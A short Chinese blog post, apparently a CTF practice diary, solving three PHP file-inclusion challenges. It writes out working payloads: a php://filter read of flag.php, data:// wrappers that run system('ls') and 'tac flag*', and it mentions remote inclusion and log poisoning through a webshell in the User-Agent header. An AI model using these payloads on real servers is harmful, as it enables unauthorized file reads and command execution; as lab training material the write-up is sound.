3月17日刷题日记-文件包含

web78


文件包含的题目,没有任何过滤,直接使用伪协议读flag即可
?file=php://filter/convert.base64-encode/resource=flag.php

base64解码拿到flag

web79


只是简单的加了个限制,我们可以使用别的伪协议来进行包含

?file=data://text/plain,<?PhP system('ls');?>

?file=data://text/plain,<?PhP system('tac flag*');?>


因为禁了php,但是我们可以用*来进行匹配
题目存在解析漏洞,我们可以在服务器上创建一个txt文件,写入,然后进行远程文件包含,同样能拿到flag

同样这一系列题目中都存在nginx日志解析漏洞,我们可以在ua头中传入木马来进行操作

web80


这一题禁用了php和data协议

依旧是使用日志包含去读flag

posted @ 2025-03-17 17:28  慕雪ya  阅读(23)  评论(0)    收藏  举报